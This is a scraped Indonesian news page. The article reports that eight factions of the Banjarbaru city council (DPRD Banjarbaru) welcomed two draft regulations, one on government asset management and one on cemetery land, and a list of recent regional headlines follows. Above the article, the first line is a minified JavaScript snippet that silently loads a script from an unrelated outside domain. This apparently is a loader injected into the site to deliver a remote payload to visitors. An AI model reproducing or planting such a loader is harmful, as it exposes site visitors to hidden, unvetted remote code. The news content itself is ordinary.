(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD BANJARBARU

Delapan Fraksi DPRD Banjarbaru Respon Dua Raperda, Lahan Permakaman Perlu Aturan


KANALKALIMANTAN. COM, BANJARBARU – Fraksi-Fraksi di DPRD Kota Banjarbaru mengapresiasi dua usulan Raperda oleh pemerintah kota yaitu Raperda tentang Pedoman Pengelolan Barang Milik Pemerintah dan Raperda tentang Pengelolaan Permakaman.

Delapan Fraksi di DPRD Kota Bajarbaru yaitu Fraksi Golkar, Fraksi Gerindra, Fraksi PDIP, Fraksi Nasdem, Fraksi PKB, Fraksi PPP, Fraksi Demokrat dan Fraksi PAN PKS.

Apresiasi positif itu disampaikan masing-masing juru bicara fraksi dalam sidang paripurna DPRD Kota Banjarbaru dalam agenda pandangan umum terhadap dua Raperda, Kamis (6/3/2025).

Fraksi Golkar diwakili Siska Monalisa, Fraksi Gerindra oleh Syamsuri, Fraksi PDIP oleh Muhammad Qomalludin, Fraksi Nasdem disampaikan Fauzan Noor, Fraksi Demokrat diwakili M Siregar ST, Fraksi PPP melalui Emir Nahl Khan, Fraksi PKB melalui Sukardi, dan Fraksi PAN PKS disampaikan Nurkhalis Anshari.

Baca juga: Berbuka Puasa di Pemangkih Baru, Ini Harapan Bupati Banjar

Ketua DPRD Kota Banjarbaru, Gusti Rizky Sukma Iskandar Putera mengatakan, secara mendasar fraksi-fraksi setuju dengan dua usulan Raperda tersebut untuk dibahas lebih lanjut hingga menjadi Perda.

“Tentunya setelah pandangan umum ini disampaikan dan semua menyetujui untuk dibahas, maka akan dilanjutkan dalam tahap pembahasan melalui Pansus,” jelasnya.

Juru Bicara Fraksi Nasdem, Fauzan Noor menyebutkan bahwa Fraksi Nasdem cukup mengapresiasi usulan dua Raperda tersebut.

“Tentunya ada beberapa catatan yang kami berikan, seperti Raperda pengelolaan aset agar kedepan bisa bermanfaat dan memberilan sumbangsih PAD. Pada dasarnya Fraksi Nasdem sangat mendukung dua Raperda yang diajukan tersebut,” jelasnya.

Baca juga: Penguatan Ekonomi Masyarakat di Desa Bararawa dan Sapala Melalui Keramba Ikan

Juru bicara Fraksi PAN PKS, Nurkhalis Anshari manyatakan bahwa mereka mengapresiasi dua Raperda tersebut.

“Raperda pengelolaan permakaman, kami memandang salah satu persoalan yang dihadapi banyak daerah termasuk Kota Banjarbaru adalah ketersediaan lahan pemakaman yang semakin terbatas. Oleh karena itu fraksi kami menekankan pentingnya perencanaan jangka panjang dalam penyediaan lahan permakaman termasuk kajian terhadap kebutuhan lahan,” katanya. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Risa

Recent Posts

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

1 jam ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

2 jam ago

Nilai TKA Jadi Syarat Wajib untuk Siswa Eligible SNBP 2026

KANALKALIMANTAN.COM, JAKARTA - Seleksi Nasional Berdasarkan Prestasi (SNBP) 2026 menjadi perhatian siswa kelas akhir SMA,… Read More

4 jam ago

Korban Tenggelam di Sungai Martapura Ditemukan Senin Dinihari

KANALKALIMANTAN.COM, BANJARMASIN — Remaja laki-laki yang tenggelam di Sungai Martapura, Kota Banjarmasin ditemukan dalam keadaan… Read More

6 jam ago

Banjir Rob Murung Selong Banjarmasin 407 Jiwa Terdampak

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More

20 jam ago

Tanggul Halangi Air Keluar di Komplek PWI, Ketua DPRD Banjarmasin Minta Dibongkar

KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More

20 jam ago

This website uses cookies.